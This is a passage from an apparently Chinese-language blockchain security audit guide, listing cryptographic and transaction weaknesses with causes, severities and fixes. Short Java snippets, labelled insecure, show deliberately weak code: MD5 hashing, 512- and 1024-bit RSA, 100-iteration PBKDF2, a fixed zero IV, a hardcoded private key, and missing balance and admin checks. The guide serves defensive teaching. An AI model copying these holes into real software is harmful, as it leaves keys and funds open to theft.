data)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">MessageDigest</span> <span class="variable">md</span> <span class="operator">=</span> MessageDigest.getInstance(<span class="string">&quot;MD5&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> Base64.getEncoder().encodeToString(md.digest(data.getBytes()));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用 SHA-256 / SHA-3 / BLAKE2 / BLAKE3 等更现代的安全哈希算法；</li><li>避免哈希算法只用于鉴权，场景需要 HMAC 等带密钥哈希；</li><li>对旧系统需要逐步迁移或兼容替换弱哈希算法。</li></ol></li></ul><h4 id="B3-签名算法的理论可靠性">B3. 签名算法的理论可靠性</h4><ul><li><p><strong>Description</strong></p><p>弱或过时的数字签名算法 (如 DSA 过短秘钥、RSA &lt; 1024 位、ECDSA 参数选择不当) 可能无法抵抗现代计算能力。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>沿用历史遗留的 RSA-512/768；</li><li>ECC 参数曲线选择不安全或非 NIST/SEC 推荐曲线。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>签名可被快速破解或伪造；</li><li>导致交易签名、授权等严重失效。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WeakSignature</span> &#123;</span><br><span class="line">    <span class="comment">// 仅使用RSA 512位</span></span><br><span class="line">    <span class="keyword">public</span> KeyPair <span class="title function_">generateKeyPair</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">KeyPairGenerator</span> <span class="variable">kpg</span> <span class="operator">=</span> KeyPairGenerator.getInstance(<span class="string">&quot;RSA&quot;</span>);</span><br><span class="line">        kpg.initialize(<span class="number">512</span>);</span><br><span class="line">        <span class="keyword">return</span> kpg.generateKeyPair();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>若使用 RSA 建议 &gt;=2048 位（或更高），ECC 建议 &gt;=256 位曲线 (secp256r1, secp256k1等)；</li><li>使用业界标准签名算法 (ECDSA, Ed25519, RSA-PSS)；</li><li>定期跟随安全指南升级签名强度 (NIST, ISO 标准)。</li></ol></li></ul><h4 id="B4-加密强度审计-哈希强度审计">B4. 加密强度审计 / 哈希强度审计</h4><ul><li><p><strong>Description</strong></p><p>需要针对系统所有加密、哈希组件进行强度评估（密钥长度、算法类型、迭代次数等），一旦某环节强度不足，就可能被突破。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>项目规模较大，部分模块仍用老算法或默认配置；</li><li>开发者对最新攻击手段不熟悉，忽视升级。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>任一环节强度不足都会成为“最短板”，导致整体安全崩溃；</li><li>用户数据、交易等高危信息被破译或篡改。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>建立统一的加密策略与清单</strong>，定期审计所有算法与密钥长度；</li><li><strong>对对称加密的密钥长度（AES-128/256）、哈希（SHA-256 及以上）做统一标准</strong>；</li><li><strong>通过自动化工具或CI管线</strong>，检测使用的加密算法是否符合最新安全规范。</li></ol></li></ul><h4 id="B5-Keystore-加密强度检测">B5. Keystore 加密强度检测</h4><ul><li><p><strong>Description</strong></p><p>钱包或系统中常用 Keystore 存储私钥，如果 Keystore 的加密算法或迭代次数不足，攻击者可对加密后的数据进行暴力破解。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>PBKDF2 / Scrypt / Argon2 等 KDF 参数设置过低 (如迭代次数太小)；</li><li>使用简单对称加密或无盐哈希保护私钥。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者一旦获取 Keystore 文件，可短时间内暴力出明文私钥；</li><li>导致资产被盗或系统被破坏。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WeakKeystore</span> &#123;</span><br><span class="line">    <span class="comment">// 迭代次数过低</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] deriveKey(String password) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">PBEKeySpec</span> <span class="variable">spec</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PBEKeySpec</span>(password.toCharArray(), salt, <span class="number">100</span>, <span class="number">256</span>);</span><br><span class="line">        <span class="type">SecretKeyFactory</span> <span class="variable">skf</span> <span class="operator">=</span> SecretKeyFactory.getInstance(<span class="string">&quot;PBKDF2WithHmacSHA256&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> skf.generateSecret(spec).getEncoded();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用经过验证的 KDF（PBKDF2 &gt;=10万次，或Scrypt，Argon2等），并设置足够大迭代/存储成本；</li><li>保证使用随机盐/IV，避免重复；</li><li>结合硬件钱包或 HSM 存储关键私钥，减少Keystore在本地被盗的风险。</li></ol></li></ul><h4 id="B6-非对称加密算法安全性评估">B6. 非对称加密算法安全性评估</h4><ul><li><p><strong>Description</strong></p><p>非对称加密（RSA, ECC, SM2等）在一些系统中用于密钥交换或加解密，如果参数选择不当、密钥长度不足或采用了旧版padding机制，也会存在风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>使用过短 RSA key (&lt;2048) 或使用 ECC 192位以下；</li><li>Padding模式（如 PKCS#1 v1.5）存在填充Oracle攻击；</li><li>关键管理环节缺少注意（如重复IV、错误随机数等）。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可中间人劫持或解出私钥；</li><li>解密敏感信息或伪造数据包。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WeakRSA</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> KeyPair <span class="title function_">generateRSA</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">KeyPairGenerator</span> <span class="variable">kpg</span> <span class="operator">=</span> KeyPairGenerator.getInstance(<span class="string">&quot;RSA&quot;</span>);</span><br><span class="line">        kpg.initialize(<span class="number">1024</span>); <span class="comment">// 不安全长度</span></span><br><span class="line">        <span class="keyword">return</span> kpg.generateKeyPair();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>RSA &gt;= 2048位 或 ECC &gt;= 256位 (曲线推荐 secp256r1, secp256k1 等)；</li><li>使用安全填充(如 RSA-OAEP) 而非旧版 PKCS#1 v1.5；</li><li>定期更新密钥对，遵从业界密码学标准。</li></ol></li></ul><h3 id="C-密码学漏洞检查">C. 密码学漏洞检查</h3><p>主要关注在使用哈希、签名等环节可能出现的可延展性、长度扩展、扭曲曲线等漏洞。</p><h4 id="C1-哈希算法长度扩展攻击检查">C1. 哈希算法长度扩展攻击检查</h4><ul><li><p><strong>Description</strong></p><p>某些哈希函数（如 MD5/SHA-1）不带秘钥时会受到长度扩展攻击，攻击者可在原消息后追加数据并构造出合法的哈希。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>系统使用了不安全的哈希拼接方式进行完整性校验；</li><li>未使用 HMAC 或其他方式防范长度扩展。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可伪造额外内容，通过简单追加方式保持哈希一致；</li><li>绕过数据完整性校验或伪造签名。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>使用 <strong>带密钥的哈希（HMAC）</strong> 替代纯哈希；</li><li>迁移至 SHA-2/3 等算法并禁止简单拼接；</li><li>对长度扩展敏感场景严格验证消息长度和结构。</li></ol></li></ul><h4 id="C2-Merkle树可延展性攻击检查">C2. Merkle树可延展性攻击检查</h4><ul><li><p><strong>Description</strong></p><p>Merkle树若在奇数节点或拼接处理上不当，可能出现可延展性：同样的根哈希可对应不同叶子集合。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>对奇数个 leaf 未进行固定重复或填充处理；</li><li>对 leaf 节点顺序或哈希拼接方式不统一。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可插入或修改部分交易却保留相同的 Merkle Root；</li><li>数据完整性与不可篡改性受到挑战。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>参考比特币等成熟的 Merkle 构建算法，对奇数节点固定重复最后一个 leaf 一次；</li><li>确保哈希拼接顺序和计算流程在全网一致；</li><li>避免任何可延展的拼接方式（如多次复制最后节点等）。</li></ol></li></ul><h4 id="C3-ECC签名可延展性攻击">C3. ECC签名可延展性攻击</h4><ul><li><p><strong>Description</strong></p><p>ECDSA/ed25519签名存在可延展性，如 s 值不做强制“低 s”规则，就可衍生出另外的等效签名。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>签名验证时不做 s 值标准化或强制 s 在 [1, n/2]；</li><li>历史上比特币/以太坊等链曾经遭遇签名可锻造交易的问题。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可更改交易签名，导致 TXID 变动；</li><li>造成“交易可锻造性”，让系统混淆同一笔交易有多个hash。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>在签名和验证时强制 s 值为“低 s” (s &lt;= n/2)；</li><li>使用 ed25519 (已内部规范化) 或 Schnorr 签名；</li><li>在交易层或应用层排除签名可延展造成的哈希变化。</li></ol></li></ul><h4 id="C4-secp256k1的-r-值重用私钥提取攻击">C4. secp256k1的 r 值重用私钥提取攻击</h4><ul><li><p><strong>Description</strong></p><p>与 k 值类似，若 r 值在多次签名中被重复或可预测，也能导致私钥泄露。</p><p>(r 是签名中 R = kG 的 x 坐标部分，如 k 发生冲突则 r 一致)</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>同一 k 值产生相同 r；</li><li>不安全 RNG 或重复 nonce 导致 r 重用。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>私钥直接被求解；</li><li>资产与签名安全沦陷。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>同 k 值安全策略，保证随机性和RFC6979确定性；</li><li>在实现中检测是否重复使用 r（若发现需要立即废弃密钥）；</li><li>不从外部或用户输入来决定 nonce/k 值。</li></ol></li></ul><h4 id="C5-ed25519-私钥提取攻击">C5. ed25519 私钥提取攻击</h4><ul><li><p><strong>Description</strong></p><p>ed25519是一种Curve25519上的签名，但若实现或随机数有问题（或seed转换不当），也可被攻击。</p><p>并且私钥到公钥的衍生需要正确哈希与 clamp 步骤。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>种子与私钥的转换过程（例如 EdDSA 标准）没遵循正确算法；</li><li>重复或低熵随机生成私钥。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可推断私钥或伪造签名；</li><li>主流区块链或协议 (如Tezos, Monero) 安全受损。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>采用标准库(如 libsodium)生成ed25519私钥，不要自行实现；</li><li>检查 clamp 步骤 (清除低位bits, 强制特定位)；</li><li>保障随机种子安全，不重复/不丢失熵。</li></ol></li></ul><h4 id="C6-Schnorr私钥提取攻击">C6. Schnorr私钥提取攻击</h4><ul><li><p><strong>Description</strong></p><p>Schnorr 签名若实现中随机性或聚合过程出错，可导致私钥泄露。</p><p>在多重签名或聚合签名中，任何重用随机数都会破坏整体安全。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>无安全 RNG 或多次签名使用相同 nonce；</li><li>多方聚合签名协议 (MuSig 等) 步骤出错。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>私钥泄露或可重放；</li><li>Schnorr 的本来优点(可聚合)反而变为攻击面。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>使用公认的 Schnorr 多签库(如 BIP-340)；</li><li>每次签名生成全新随机nonce或确定性nonce (RFC6979风格)；</li><li>保证多方协议正确性(交互阶段有防重放或MITM保护)。</li></ol></li></ul><h4 id="C7-ECC扭曲曲线攻击">C7. ECC扭曲曲线攻击</h4><ul><li><p><strong>Description</strong></p><p>如果公钥或曲线参数未被验证，攻击者可构造扭曲曲线或伪造的公钥，使得签名或加密过程失效。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>忽视对ECC曲线点的合法性检查 (是否在主曲线上)；</li><li>接受不可信的公钥或曲线参数。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>整个 ECC 协议被绕过或私钥泄露；</li><li>中间人攻击中使用扭曲曲线注入。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>在ECC操作前<strong>验证公钥点</strong>是否满足椭圆曲线方程；</li><li>仅使用标准曲线（secp256k1, P-256 等）且参数固定；</li><li>对动态曲线或自定义曲线，一定要做曲线一致性和点合法性检查。</li></ol></li></ul><h4 id="C8-私钥种子转换中的精度损失检查">C8. 私钥种子转换中的精度损失检查</h4><ul><li><p><strong>Description</strong></p><p>在将某些 seeds (如 big integer, base58/base64 encoded) 转换为内部表示（如 256bit 数组）时，如果中间有精度截断或字节顺序错误，会破坏私钥安全性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>在语言间转换时忽视大端/小端格式；</li><li>超过 256bit 的种子被直接截断而非正确哈希。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>生成错误或低强度私钥；</li><li>无法恢复或验证签名。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SeedConversion</span> &#123;</span><br><span class="line">    <span class="comment">// 可能出现endian问题</span></span><br><span class="line">    <span class="keyword">public</span> BigInteger <span class="title function_">toBigInt</span><span class="params">(<span class="type">byte</span>[] seed)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BigInteger</span>(seed); <span class="comment">// 需注意sign或endianness</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>统一使用网络字节序 (Big Endian) 或指定格式；</li><li>在多语言交互场景，明确文档说明字节顺序；</li><li>对 key/seed 转换进行单元测试、检查极值和边缘情况。</li></ol></li></ul><h4 id="C9-密钥衍生函数-KDF-安全性">C9. 密钥衍生函数(KDF)安全性</h4><ul><li><p><strong>Description</strong></p><p>口令或种子若只做简单哈希(SHA256(password))，易被 GPU/ASIC 暴力破解。必须使用KDF(如 PBKDF2 / scrypt / Argon2)，并设置足够大迭代/内存/并发成本。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>代码中直接存储 SHA256(password) 而非 PBKDF2；</li><li>KDF 参数设置不合理 (迭代次数几百，而现代推荐上万甚至更多)。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>口令/私钥轻易被爆破；</li><li>全面失去系统加密数据安全。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>使用 PBKDF2 (&gt;= 100000迭代), scrypt (N&gt;=2^14, r=8, p=1), Argon2id 等；</li><li>设置足够大的盐 (128bit 以上) 防彩虹表攻击；</li><li>定期根据硬件性能发展提升KDF难度。</li></ol></li></ul><h3 id="D-密码学实现">D. 密码学实现</h3><p>涵盖第三方库供应链安全、加密组件调用顺序、密钥存储、模糊测试、密钥生命周期、备份恢复等多个方面。</p><h4 id="D1-对称加密算法库的供应链安全">D1. 对称加密算法库的供应链安全</h4><ul><li><p><strong>Description</strong></p><p>若在项目中引入未经审计的第三方加密库，或使用过时版本，可能存在后门或已知CVE漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>不定期升级供应链组件；</li><li>缺乏对库作者、源码仓库等可信度验证。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者利用库中的后门窃取密钥；</li><li>已知漏洞可被公开利用发起远程攻击。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>只使用主流且活跃维护的加密库（OpenSSL, BouncyCastle, libsodium等），并定期更新；</li><li>对引入的库进行哈希校验或签名校验，防止被篡改；</li><li>在CI/CD中集成安全扫描工具（Snyk等）检测CVE漏洞。</li></ol></li></ul><h4 id="D2-密码学组件调用审计">D2. 密码学组件调用审计</h4><ul><li><p><strong>Description</strong></p><p>对加密/解密/签名等操作的调用顺序或参数若弄错，会导致安全失效，如使用错误 IV、重复Nonce、缺少最终 doFinal() 调用等。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者不熟悉加密库API；</li><li>文档不明或示例代码有误。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>加密过程被截断或出现明文泄露；</li><li>签名算法调用不正确导致伪造或验证失败。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AESUsage</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] encrypt(<span class="type">byte</span>[] plain, SecretKey key) &#123;</span><br><span class="line">        <span class="comment">// 若IV全为0或每次都固定</span></span><br><span class="line">        <span class="type">IvParameterSpec</span> <span class="variable">iv</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">IvParameterSpec</span>(<span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">16</span>]);</span><br><span class="line">        <span class="type">Cipher</span> <span class="variable">cipher</span> <span class="operator">=</span> Cipher.getInstance(<span class="string">&quot;AES/CBC/PKCS5Padding&quot;</span>);</span><br><span class="line">        cipher.init(Cipher.ENCRYPT_MODE, key, iv);</span><br><span class="line">        <span class="keyword">return</span> cipher.doFinal(plain);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>严格按照加密库文档正确配置模式、IV、Salt、Nonce等；</li><li>在代码审计中重点检查初始化和更新顺序 (init -&gt; update -&gt; doFinal)；</li><li>做自动化或手动单元测试，验证结果与官方示例一致。</li></ol></li></ul><h4 id="D3-密钥存储审计">D3. 密钥存储审计</h4><ul><li><p><strong>Description</strong></p><p>若私钥或加密密钥明文存储在代码仓库、配置文件或日志中，则极其危险；同理，如果加密密钥与密文放在同一处，也无实际保护效果。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>在调试或测试阶段硬编码密钥；</li><li>未进行密钥管理，随意地将密钥同应用配置一同打包。</li></ul></li><li><p><strong>Severity</strong></p><p>Critical</p></li><li><p><strong>Impact</strong></p><ul><li>一旦攻击者获得仓库/服务器访问权限，即能直接获取明文密钥；</li><li>导致根本性的安全失守。</li></ul></li><li><p><strong>Example Code</strong> (不安全示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HardcodedKey</span> &#123;</span><br><span class="line">    <span class="comment">// 私钥硬编码在代码中</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">PRIVATE_KEY</span> <span class="operator">=</span> <span class="string">&quot;0xabcd1234...&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用安全硬件或安全文件系统（如 HSM, KeyVault, TPM）；</li><li>若必须存储软件层，可用KMS或加密环境变量；</li><li>在CI/CD流程中检查防止任何 *.key 或私钥字符串被提交到代码仓库。</li></ol></li></ul><h4 id="D4-加密模糊测试">D4. 加密模糊测试</h4><ul><li><p><strong>Description</strong></p><p>加密算法实现中，若未进行FUZZ测试，一些异常输入或极端情况(如零长度、巨量输入)可能触发越界、OOM或逻辑错误。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未针对加密函数做随机或畸形输入测试；</li><li>算法容错性不明，出现异常状态不及时处理。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者用畸形输入导致加密服务崩溃(DoS)；</li><li>或在某些实现细节处找到可泄露密钥的信息。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>对核心加密模块进行FUZZ测试，覆盖多种边界与畸形场景；</li><li>监控内存使用及异常处理，保证无泄露/溢出；</li><li>定期更新FUZZ测试用例库，以涵盖最新发现的问题模式。</li></ol></li></ul><h4 id="D5-密钥生命周期管理">D5. 密钥生命周期管理</h4><ul><li><p><strong>Description</strong></p><p>密钥的生成、分发、使用、存储、销毁全过程若不加管理，会出现密钥过期后仍在使用，或销毁不彻底导致残留在内存/磁盘上。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺乏规范的“Key lifecycle”规划；</li><li>未定期更换密钥或未在内存中零化已用密钥。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>长期使用同一密钥，风险累积；</li><li>旧密钥残留被他人获取，重新解密历史信息。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>建立<strong>密钥生命周期</strong>制度：定期轮换、更换私钥，并记录；</li><li>在应用层/内存中用完密钥后<strong>及时清零</strong>（避免留在GC内存中）；</li><li>下线或过期的密钥应从所有系统/缓存中<strong>彻底删除</strong>，并做好审计记录。</li></ol></li></ul><h4 id="D6-密钥备份和恢复机制">D6. 密钥备份和恢复机制</h4><ul><li><p><strong>Description</strong></p><p>如果密钥被意外删除/硬件损坏导致不可恢复，会造成业务灾难；但若备份方式不安全，也会让攻击者轻易获取备份副本。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对备份密钥进行加密或多重签名保护；</li><li>只保存单点备份，一旦丢失或损坏就无法恢复。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>数据或资产永久丢失，无法访问；</li><li>攻击者如获取未加密的备份副本则等于得到所有密钥。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>对密钥备份采取<strong>离线加密</strong>或<strong>分片多签</strong>(Shamir’s Secret Sharing)；</li><li>保证备份多地存储，防止单点故障；</li><li>定期演练密钥恢复流程，确保可行且安全。</li></ol></li></ul><h2 id="交易和账户安全审计">交易和账户安全审计</h2><p>在区块链系统中，“交易”是核心运作方式：比特币等采用 UTXO（Unspent Transaction Output）模型，以太坊等则使用 账户模型。尽管两种模型在结构上不同，但都需要对交易进行签名、验证，以及防范可能的可延展性或重放攻击。本节将介绍常见的交易与账户安全风险，包括交易验证、权限校验、可锻造与延展性、时间锁、顺序依赖、回滚一致性等多方面。</p><p>背景提示：</p><ul><li>在 比特币/UTXO 模型中，“交易延展性（Transaction Malleability）”通常与 ECDSA 签名的可延展性直接相关，攻击者可在不改变交易实际内容的情况下修改签名形式，从而改变交易哈希；</li><li>在 以太坊/账户 模型里，也存在“签名可锻造”或“脚本字段可变”等类似问题，但原理略有差异。</li><li>历史上曾出现 Mt.Gox 等比特币交易所事件，把“交易可锻造”误判成“用户重复提现”，导致重大损失，可见其危害之深。</li></ul><h3 id="A-交易安全">A. 交易安全</h3><h4 id="A1-交易验证审计">A1. 交易验证审计</h4><ul><li><p><strong>Description</strong></p><p>区块链系统中，每笔交易都需经过签名、输入/输出匹配、余额检查等验证；若验证逻辑存在漏洞，非法或不符合共识的交易可能被打包。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>验证逻辑存在缺陷：对交易输入、输出、金额、签名等验证不足。</li><li>忽略脚本执行结果或异常分支。</li><li>版本升级或硬分叉后，沿用旧的验证逻辑。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可提交非法交易，并成功计入区块；</li><li>系统共识或资金安全受到威胁。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TransactionValidator</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">validateTransaction</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 可能只简单检查签名，但未检查交易的输入额度是否足够</span></span><br><span class="line">        <span class="keyword">if</span> (!checkSignature(tx)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 漏掉对输入金额与输出金额的核对</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="title function_">checkSignature</span><span class="params">(Transaction tx)</span> &#123;</span><br><span class="line">        <span class="comment">// 省略签名验证细节</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在区块链核心中实现完整的交易验证流程：签名、输入输出平衡、脚本执行结果等。</li><li>升级共识或硬分叉后，要对新旧验证逻辑进行全面兼容测试。</li><li>对所有异常路径进行处理，保证出现异常时拒绝交易或回滚。</li></ol></li></ul><h4 id="A2-交易权限校验审计">A2. 交易权限校验审计</h4><ul><li><p><strong>Description</strong></p><p>交易权限主要指只有特定账户或合约才可执行某些操作（如增发、销毁、升级合约等）。若缺少权限控制或实现不当，会导致任意账户都能执行敏感操作。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>没有对交易发送方做角色或权限校验；</li><li>合约功能（如管理员操作）未严格限制调用方地址。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>任意用户可调用管理员功能造成系统资金损失；</li><li>可能恶意增发代币或篡改合约状态。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TokenContract</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">adminAddress</span> <span class="operator">=</span> <span class="string">&quot;0xAdmin&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">mint</span><span class="params">(String to, <span class="type">long</span> amount, String caller)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果这里没有检查 caller == adminAddress，</span></span><br><span class="line">        <span class="comment">// 就可被任意地址调用</span></span><br><span class="line">        balanceMap.put(to, balanceMap.getOrDefault(to, <span class="number">0L</span>) + amount);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span 